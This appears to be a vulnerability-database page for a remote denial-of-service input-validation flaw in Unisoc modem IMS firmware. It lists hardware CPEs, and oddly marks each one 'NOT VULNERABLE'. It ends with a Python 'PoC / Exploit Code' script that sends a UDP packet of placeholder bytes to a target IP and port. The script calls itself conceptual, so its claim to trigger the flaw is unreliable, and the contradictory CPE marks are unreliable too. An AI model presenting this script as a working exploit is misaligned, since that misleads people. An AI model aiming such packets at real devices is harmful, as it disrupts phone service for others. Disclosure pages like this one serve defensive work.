In Modem IMS, there is a possible improper input validation. This could lead to remote denial of service with no additional execution privileges needed.
cpe:2.3:h:unisoc:sc7731e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9832e:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:sc9863a:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t310:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t610:-:*:*:*:*:*:*:* - NOT VULNERABLE
Unisoc Modem 固件 (具体受影响版本请参考Unisoc官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for CVE-2025-71255
# Actual packet structure depends on the specific IMS vulnerability trigger.
import socket
import sys
def send_ims_dos_packet(target_ip, target_port):
try:
# Create a raw socket (requires root privileges)
# or standard UDP/TCP socket depending on the transport layer used by IMS
# Assuming UDP for SIP/IMS signaling on a common port
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Malformed payload designed to trigger input validation failure
# This is a placeholder for the actual trigger pattern
malformed_payload = b"\x00\x01\x02\x03" + b"\x41" * 1000 + b"TRIGGER_CRASH"
print(f"[*] Sending malformed packet to {target_ip}:{target_port}")
sock.sendto(malformed_payload, (target_ip, target_port))
print("[+] Packet sent successfully.")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python cve_2025_71255_poc.py <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
send_ims_dos_packet(target_ip, target_port)